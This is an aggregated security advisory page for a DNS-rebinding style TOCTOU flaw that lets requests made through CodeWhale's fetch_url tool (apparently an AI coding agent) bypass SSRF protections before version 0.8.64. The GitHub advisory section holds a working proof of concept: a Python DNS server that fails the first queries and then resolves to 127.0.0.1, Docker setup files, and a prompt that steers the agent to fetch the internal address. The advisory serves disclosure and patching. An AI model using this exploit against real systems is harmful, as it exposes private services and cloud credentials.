CodeWhale before 0.8.64 SSRF Bypass via DNS Pinning TOCTOU

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.

Source published

18 Aug 2026 15:21:55 UTC

Source modified

18 Aug 2026 19:02:07 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.

Source published

Aug 18, 2026, 3:21:55 PM (timezone not stated)

Source modified

Aug 18, 2026, 7:02:07 PM (timezone not stated)

Observed here

7 Nov 2026 14:28:03 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CodeWhale before 0.8.64 contains a server-side request forgery bypass vulnerability in DNS pinning logic that fails to prevent time-of-check-time-of-use attacks. Attackers can manipulate DNS responses to fail initial resolution checks and succeed on secondary requests, allowing requests to internal IP addresses and bypassing SSRF mitigations.

Source published

18 Aug 2026 16:18:21 UTC

Source modified

22 Oct 2026 22:10:00 UTC

Observed here

25 Oct 2026 15:19:09 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

### Maintainer resolution The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd5051f8f944ea60b2c37ae1d2b7d25e. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below. ### Summary DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic. ### Details Simplified attack scenario: 1. Attacker asks agent to visit the `mydomain.com`. 2. CodeWhale tries to resolve the IP of `mydomain.com`, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check). 3. CodeWhale allows the code to continue as it expects it request to fail again. 4. On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1) 5. The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations. In the [DNS-pinning](https://github.com/Hmbown/CodeWhale/blob/8dff2f7525ead210a01347b48f53ae3f20d094ec/crates/tui/src/tools/fetch_url.rs#L362) section, when DNS fails, the code is allowed to continue as it's expected to fail. However ### PoC This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in `dnser/dns_resolver.py`: ```python #!/usr/bin/env python3 """ Local DNS Resolver — customizable request/response handling. Uses only the standard library + dnslib. Usage: pip install dnslib sudo python dns_resolver.py # binds to 0.0.0.0:53 by default python dns_resolver.py --port 5353 # unprivileged port for testing """ import argparse import socket import threading from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA UPSTREAM_DNS = ("8.8.8.8", 53) # fallback resolver def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None: """Drop all AAAA requests.""" if QTYPE[query.q.qtype] == "AAAA": reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None def handle_blocked(query: DNSRecord) -> DNSRecord | None: """Block domains by returning NXDOMAIN.""" blocked = {"blocked.example.com.", "ads.tracker.io."} qname = str(query.q.qname) if qname in blocked: print(f" [BLOCKED] {qname}") reply = query.reply() reply.header.rcode = 3 # NXDOMAIN return reply return None failer = 0 MAX_FAIL = 2 MAX_SUCCESS = 2 def handle_overrides(query: DNSRecord) -> DNSRecord | None: global failer """Return hardcoded A records for specific names (split-horizon / local dev).""" overrides: dict[str, str] = { "myapp.local.": "127.0.0.1", "devserver.local.": "192.168.1.100", "mydomain.com.": "127.0.0.1", } qname = str(query.q.qname) qtype = QTYPE[query.q.qtype] if qname in overrides and qtype == "A": failer += 1 cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS) # position within cycle should_fail = cycle_pos < MAX_FAIL print(f" [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}") if should_fail: reply = query.reply() reply.header.rcode = 3 reply.header.ra = 0 return reply ip = overrides[qname] print(f" [OVERRIDE] {qname} → {ip}") reply = query.reply() reply.add_answer(RR(qname, QTYPE.A, rdata=A(ip), ttl=0)) reply.header.ra = 0 return reply return None def handle_rewrite(query: DNSRecord) -> DNSRecord | None: """Rewrite a CNAME transparently (resolve alias locally).""" rewrites: dict[str, str] = { # "old.internal.": "new.internal.", } qname = str(query.q.qname) if qname in rewrites: target = rewrites[qname] print(f" [REWRITE] {qname} → {target}") reply = query.reply() reply.add_answer(RR(qname, QTYPE.CNAME, rdata=CNAME(target), ttl=60)) return reply return None def handle_upstream(query: DNSRecord) -> DNSRecord | None: """Forward the query to the upstream resolver.""" try: raw = query.pack() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(3) sock.sendto(raw, UPSTREAM_DNS) data, _ = sock.recvfrom(4096) sock.close() reply = DNSRecord.parse(data) print(f" [UPSTREAM] {query.q.qname} → {UPSTREAM_DNS[0]}") return reply except Exception as e: print(f" [UPSTREAM ERROR] {e}") return None # Chain of responsibility — handlers are tried in order; first non-None wins. HANDLERS = [ handle_blocked, handle_overrides, handle_rewrite, handle_upstream, ] # ───────────────────────────────────────────────────────────────────────────── # Server plumbing — no need to edit below this line # ───────────────────────────────────────────────────────────────────────────── def resolve(data: bytes) -> bytes: try: query = DNSRecord.parse(data) qname = str(query.q.qname) qtype = QTYPE[query.q.qtype] print(f"[QUERY] {qtype} {qname}") for handler in HANDLERS: reply = handler(query) if reply is not None: return reply.pack() # Fallback: SERVFAIL reply = query.reply() reply.header.rcode = 2 return reply.pack() except Exception as e: print(f"[ERROR] Failed to parse/handle query: {e}") return b"" def udp_server(host: str, port: int) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((host, port)) print(f"DNS resolver listening on {host}:{port} (UDP)") while True: data, addr = sock.recvfrom(4096) threading.Thread( target=lambda d=data, a=addr: sock.sendto(resolve(d), a), daemon=True, ).start() def tcp_server(host: str, port: int) -> None: srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((host, port)) srv.listen(10) print(f"DNS resolver listening on {host}:{port} (TCP)") def handle_conn(conn: socket.socket) -> None: with conn: length_bytes = conn.recv(2) if len(length_bytes) < 2: return length = int.from_bytes(length_bytes, "big") data = conn.recv(length) response = resolve(data) conn.sendall(len(response).to_bytes(2, "big") + response) while True: conn, _ = srv.accept() threading.Thread(target=handle_conn, args=(conn,), daemon=True).start() def main() -> None: parser = argparse.ArgumentParser(description="Local DNS resolver") parser.add_argument("--host", default="0.0.0.0", help="Bind address") parser.add_argument("--port", type=int, default=53, help="Bind port (use 5353 for unprivileged)") args = parser.parse_args() t_udp = threading.Thread(target=udp_server, args=(args.host, args.port), daemon=True) t_tcp = threading.Thread(target=tcp_server, args=(args.host, args.port), daemon=True) t_udp.start() t_tcp.start() try: t_udp.join() except KeyboardInterrupt: print("\nShutting down.") if __name__ == "__main__": main() ``` Docker file to build it(`dnser/Dockerfile`): ```bash FROM python:3.12-slim WORKDIR /app RUN pip install dnslib --no-cache-dir COPY dns_resolver.py . EXPOSE 53/udp EXPOSE 53/tcp CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"] ``` Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver: `docker-compose.yml`: ```yaml services: dns-resolver: build: dnser container_name: dns-resolver restart: unless-stopped networks: dns-net: ipv4_address: 10.0.1.2 a: image: ghcr.io/hmbown/deepseek-tui:latest container_name: tui environment: DEEPSEEK_API_KEY: sk- stdin_open: true tty: true dns: 10.0.1.2 networks: - dns-net depends_on: - dns-resolver sysctls: net.ipv6.conf.all.disable_ipv6: 1 networks: dns-net: driver: bridge ipam: config: - subnet: 10.0.1.0/24 ``` Then to check everything we could simply: `sudo docker attach tui` Prompt: `read contnet of http://mydomain.com using fetch_url tools, no thinking just raw output` The tool will allow the request to go through 127.0.0.1. To make sure it's not a false-positive I've also installed python in CodeWhale container and ran `python3 -m http.server 80` as root to make sure the request can actually read content. To read the logs from dns-resolver: `sudo docker logs -f dns-resolver` ### Impact Similar to other SSRF bypasses, other services private on the system, private network, and cloud credentials are at risk.

Source published

4 Sep 2026 18:05:12 UTC

Source modified

4 Sep 2026 19:00:05 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Publisher rating · CRITICAL